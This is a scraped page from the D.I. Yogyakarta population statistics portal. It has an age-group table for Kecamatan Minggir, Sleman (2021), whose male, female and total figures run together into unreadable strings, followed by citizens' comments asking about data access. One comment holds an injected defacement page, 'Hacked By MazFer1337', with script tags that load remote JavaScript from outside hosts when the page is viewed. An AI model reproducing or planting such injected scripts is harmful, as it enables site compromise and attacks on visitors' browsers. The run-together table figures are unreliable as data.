Statistik Penduduk D.I. Yogyakarta

Pilih Periode :
Pilih Jenis Data :
Pilih Menurut :
Provinsi :
Pilih Kabupaten :
Pilih Kecamatan :

Tampilkan Data

SEMESTER I 2021

Jumlah Penduduk KECAMATAN MINGGIR, KABUPATEN SLEMAN, D.I Yogyakarta SEMESTER I 2021
Menurut Golongan Usia 1

Silakan Login atau Daftar untuk mengunduh berkas
UsiaSENDANGARUMSENDANGMULYOSENDANGAGUNGSENDANGSARISENDANGREJOTotal
LPL + PLPL + PLPL + PLPL + PLPL + PLPL+P
<= 1 tahun2826 547168 1396993 1624453 977486 160286 326 612
2 tahun1619 353239 716338 1012633 595348 101190 177 367
3 tahun1214 264626 724758 1053230 625169 120188 197 385
4 tahun2435 595036 865947 1062235 575243 95207 196 403
5 tahun2323 463446 804547 923034 645651 107188 201 389
6 tahun2129 503455 894547 923439 735437 91188 207 395
7 tahun2415 394742 893564 994538 835254 106203 213 416
8 tahun1719 364639 855958 1172538 634569 114192 223 415
9 tahun3030 604561 1066152 1134532 776053 113241 228 469
10 tahun3118 494456 1006757 1243537 728063 143257 231 488
11 tahun2024 445747 1045073 1233136 676457 121222 237 459
12 tahun2925 545747 1046155 1163749 865957 116243 233 476
13 tahun2124 454644 906764 1312839 676282 144224 253 477
14 tahun2223 453939 785749 1064441 856373 136225 225 450
15 tahun2121 425537 925144 953334 675762 119217 198 415
16 tahun3022 525030 806854 1222635 615970 129233 211 444
17 tahun2721 483539 745744 1014032 726653 119225 189 414
18 tahun2427 515649 1055345 983633 696846 114237 200 437
19 tahun2219 413840 786570 1353323 565857 115216 209 425
20 tahun2127 485035 856165 1263729 666864 132237 220 457
21 tahun1926 454741 886963 1323536 714875 123218 241 459
22 tahun2418 424734 814443 873737 745755 112209 187 396
23 tahun2525 504339 826350 1133240 726050 110223 204 427
24 tahun2930 595745 1024352 953638 746055 115225 220 445
25 tahun2218 405649 1056261 1232953 827558 133244 239 483
26 tahun1718 355663 1195358 1113341 745547 102214 227 441
27 tahun2935 645644 1006147 1082726 534648 94219 200 419
28 tahun1714 314449 936260 1224533 784953 102217 209 426
29 tahun1322 354343 866247 1093826 646054 114216 192 408
30 tahun2017 374244 865544 993729 666248 110216 182 398
31 tahun1724 415238 904153 943236 685062 112192 213 405
32 tahun2020 403640 764751 983328 615736 93193 175 368
33 tahun1620 363551 864747 941729 463459 93149 206 355
34 tahun2020 405455 1094965 1143934 734857 105210 231 441
35 tahun1425 393344 775844 1022339 623749 86165 201 366
36 tahun2221 435338 914346 892143 645361 114192 209 401
37 tahun2229 515256 1086356 1193035 654455 99211 231 442
38 tahun3134 655952 1117665 1413643 797773 150279 267 546
39 tahun2417 414349 925369 1223741 786861 129225 237 462
40 tahun2827 556250 1126563 1285336 896556 121273 232 505
41 tahun2628 545350 1036152 1134839 874971 120237 240 477
42 tahun3232 645460 1146057 1173342 756853 121247 244 491
43 tahun2930 595351 1046665 1313147 786665 131245 258 503
44 tahun3838 764452 966666 1324341 845767 124248 264 512
45 tahun3133 645540 955956 1154129 706750 117253 208 461
46 tahun3031 615051 1016464 1284440 845566 121243 252 495
47 tahun3028 585749 1065954 1133938 776368 131248 237 485
48 tahun2327 504749 966955 1243335 687372 145245 238 483
49 tahun2435 594250 924963 1123934 736567 132219 249 468
50 tahun4124 654547 925564 1192927 566564 129235 226 461
51 tahun2327 504563 1084856 1043332 657782 159226 260 486
52 tahun2639 655650 1065759 1165435 895169 120244 252 496
53 tahun3627 633345 785458 1123336 698070 150236 236 472
54 tahun1918 373347 805254 1064744 915751 108208 214 422
55 tahun3127 584146 876564 1293244 765767 124226 248 474
56 tahun2423 473947 863364 972431 554854 102168 219 387
57 tahun1622 384439 834146 873032 625668 124187 207 394
58 tahun1712 293951 903936 753024 544568 113170 191 361
59 tahun2125 463954 933648 842431 555352 105173 210 383
60 tahun2319 424851 994864 1122334 574963 112191 231 422
61 tahun1522 373852 904757 1042636 626447 111190 214 404
62 tahun2221 433741 784559 1042836 643464 98166 221 387
63 tahun1820 384744 914942 911934 534244 86175 184 359
64 tahun2214 364450 943146 772437 614739 86168 186 354
65 tahun2017 373442 764648 941220 322944 73141 171 312
66 tahun2216 384427 715141 922631 573451 85177 166 343
67 tahun2012 322125 463833 712721 483238 70138 129 267
68 tahun1222 342934 633225 571823 413526 61126 130 256
69 tahun1220 322636 622125 462427 513338 71116 146 262
70 tahun1519 342235 572953 822217 393450 84122 174 296
71 tahun916 252021 412031 512022 422330 5392 120 212
72 tahun926 351727 443041 711622 382333 5695 149 244
73 tahun1219 312321 442338 611525 401934 5392 137 229
74 tahun29 111520 351830 481420 342226 4871 105 176
75 tahun1232 441930 492638 642913 422431 55110 144 254
76 tahun146 201623 392128 491217 291829 4781 103 184
77 tahun1316 292724 511715 321412 263228 60103 95 198
78 tahun712 192520 451822 401317 302329 5286 100 186
79 tahun912 21615 211916 35810 181416 3056 69 125
80 ke atas6460 12499135 234101152 2534668 11485137 222395 552 947
Jumlah1.7611.8573.6183.4283.5136.9414.0194.1938.2122.4762.6665.1424.1744.4278.601 15.858 16.656 32.514
sumber DKB Ditjen Dukcapil Kemendagri, diolah Biro Tata Pemerintahan Setda DIY

Silahkan Login atau Daftar untuk mengirim komentar anda

Komentar

data ditemukan sekitar 130 komentar.

Catatan:
- Untuk nomor yang lebih dari 5 digit akan diubah menjadi (number) untuk menjaga kerahasiaan.
- Hanya admin yang dapat melihat isi dari (number).

Asal komen


HACKED BY MazFer1337



html
-- UnknownSec AnonSec Team --
head
titleHacked By MazFer1337title
link relicon hrefhttpsi.top4top.iop_2484lzx6y0.jpg typeimagex-icon
meta namedescription contentwh00pz your security get down
link hrefhttpsfonts.googleapis.comcss2?familyBaumans relstylesheet
link relstylesheet hrefhttpsunknownsec.ameera.co.idassetsflash.css
head
style
body
color FFFFFF
font-family Kelly Slab sans-serif
font-weight 90
height 80vh
margin 0
background-color black

.full-height
height 120vh

.flex-center
align-items center
display flex
justify-content center

.position-ref
position relative

.content
text-align center

style


table width100% height100%
td aligncenter
img altXinixtar 31 srchttpsi.top4top.iop_2484lzx6y0.jpg width300px
h2Pwd? By MazFer1337 Ft RendySech2
h4wh00pz your security get downh4
h4-font colorreduvvufont-brAnon7 - L4N4N9_4K1R4 - Rayzky_ - .meicookies - exa_gans77 - VenoRyan - MR.HAGAN_4040CR4ZY - PohonSagu - .s3nt1n3L - DemonArmy -.MungielL - Nzxsx7 - .G1L4N6_ST86 - kuroaMEpiKAcyu font colorredUnknownSecfont - xinixtar 31 - Hilusion.id - Rao Cyber Team - Sora Cyber Team - indoXploith4
audio srchttpsk.top4top.iom_19562h8em0.mp3 loop1 autoplay1audio
h4-font colorredGreetzfont-brAnonSec Teamh4
div classxCopyright copy 2020 - a hrefmailtocandydevzemzar.netUnknownSecadiv
body
script srchttpsunknownsec.ameera.co.idassetspace.min.jsscript
html


script typetextjavascript srchttpsfakhrysenpai.my.idtoolspentestjso-creatorpasteyTvXi5.txtscript


data jumlah penduduk hargotirto overall sekitar 7.144 orang jumlah penduduk ini setelah dibreakdown berdasarkan jenis pekerjaan menjadi 5.931 orang. terdapat selisih 1.213 orang. kalau ingin mendapatkan penjelasan lebih lanjut kami menghubungi ke nomor mana ya pakbu admin? matur nuwun


lap baik


dimana saya mendapatkan data penduduk per desa?


h1bagush1


bagus


gimana cara mendapatkan data


Perihal saudra sya ada sdikit gangguan jiwa..mkaya dari dulu kog KK dn ktp udah di bisa aktif...mohon dengn dlsangat bantuan ya..


Mohon bantuan dari dukcapil untuk menghidupkan kembali KK dn ktp saudra sya..untuk slanjutya bagaimana harus k kantor apa cukup di kec dn Kel...makasih sblum ya ..


Maaf min, ko data penduduk berdasarkan jenis pekerjaan untuk tiap tahunnya sama semua min, padahal awal tahun kemarin saya buka tiap tahunnya berbeda jumlahnya, ko sekarang dibuka malah ga sinkron ya, mohon perhatian dan diperbaiki, maturnuwun


Data penduduk per desa di setiap kecamatan berdasarkan kelompok umur gak bisa.....mhn tindak lanjut


Mengapa tidak dapat di download ya?


TIDAK BISA DI DOWNLOAD


tidak pernah bisa update. sungguh terlalu


sangat bermanfaat


sangat bermanfaat


sedikit saran tbh perinci sampai data rt dan rw lebih bagus sekali, terima kasih


mak nyuuuussss


bagaimana cara download atau copy data


saya mau download ngga bisa.....thanks


sangat membantu


aku ganteng


Mohon maaf Bapak Ibu admin, apakah ada data penduduk kecamatan kokap menurut jenis kelamin tahun 2012-2013? Karena pilihan yang tersedia hanya sampai tahun 2014. Mohon informasinya. Terimakasih


maaf saya ingin melihat jumlah penduduk berdasarkan usia dilihat dari masing-masing desa di Kab Bantul hari ini, namun kok keluarnya perkecamatan ya? mohon bantuannya terima kasih


tadi saya menanyakan ini
"mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih"
dan saya sudah mendapatkan jawabannya dari sini
"Yang tampil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya." jawaban dari pertanyaan @Elia Ika Rahmawati

terimakasih


mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih


maaf admin, apakah saya bisa meminta data jumlah penduduk menurut golongan umur desa banyusoco, kec.playen, kab.gunungkidul?


Maaf vapakan saya bisa minta jumlah penduduk kec sleman kab sleman berdasarkan golongan umur ?


admin mohon bantuannya...
saya butuh data (KK) yang ada disekita pembangunan kampus 2 UIN sunan kalijaga.
kalau bisa data yang terbaru ya admin..
terima kasih atas kesempatannya


Mohon maaf Bapak Ibu admin, apakah ada data penduduk menurut jenis pekerjaan yang tahun 2012 2013? Karena pilihan yang tersedia tahun terlama sampai 2014. Mohon informasinya. Terimakasih


selamat siang admin, kok tidak bisa di unduh kenapa ya? untuk yang berdasar pendidikan, di kelurahan kecamatan mergangsan


mohon maaf untuk melihat data penduduk kauman saja berdasarkan pekerjaan saja bisa tidak ya min? dari RW 10-13 Kauman. Mohon bantuannya untuk penelitian
Admin menjawab 09.10.18
Silakan minta ke kelurahan.

Mohon maaf Bapak Ibu admin, apakah ada data jumlah penduduk DIY yang didasarkan pada usia, pekerjaan, pendidikan, dan status sosial ekonomi? Karena setelah saya cari2 hanya ada data jumlah penduduk berdasarkan jenis kelamin saja. Mohon informasinya. Terimakasih.
Admin menjawab 09.10.18
Yang tempil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya.

Mohon bantuanya untuk jumlah kk desa prayan kulon soropadab
Untuk keperluan report laporan toko alfamart jembatan merah..


mohon di bantu untuk pencarian orang atas nama JUMADI ( ayah ) umur sekitar 58 tahun, pernah menikah dengan MISTUN asal dari MALANG, ciri2 badan kecil kira2 tinggi 150 cm, kulit hitam dan berkumis tebal. mohon jika ada info bisa Hub, atas nama Endik Purwanto ..WA (number) ( anak kandung )


Kenapa tdk bs di unduh ya?


mohon bantuan jumlah penduduk kelurahan tegalrejo, menurut jenis kelamin, usia, pendidikan, pekerjaan untuk membuat monografi. terimakasih


Min mohon bantuanya , apakah ada data jumlah penduduk rw7 dan rw8 kelurahan tegalrejo untuk membuat monografi. Terimakasih


Min apakah ada data jumlah penduduk gampingan tiap rw nya? Mohon bantuannya min untuk tugas penelitian, makasiih :))


maaf, mau tanya jumlah pasangan usia subur di kecamatan ngemplak tahun 2016 berapa nggeh?


Min saya mau tanya jumlah remaja di cangkringan berapa ya?


Apakah saya bisa mendapatkan data jumlah penduduk di Desa Maguwoharjo , jenis kelamin perempuan usia 17-70 tahun?


maaf min mau nanya bole minta data kemiskinan di setiap kecamatan Kota Yogyakarta?


min. kalau data peduduk pendatang di kecamatan banguntapan bisa disownload atau diperoleh dimana ya? makasih


min, status kependudukan saya kan dinonaktifkan kalau ingin mengurus ke dukcapil sleman berkas apa saja yang harus dibawa? terimakasih


Mau tanya jumlah kk dalam kelurahan triharjo ada berapa ya


Selamat siang, bagaimana cara menghitung penduduk pertengahan tahun? misalkan yang mau saya hitung data penduduk tahun 2006. terimakasih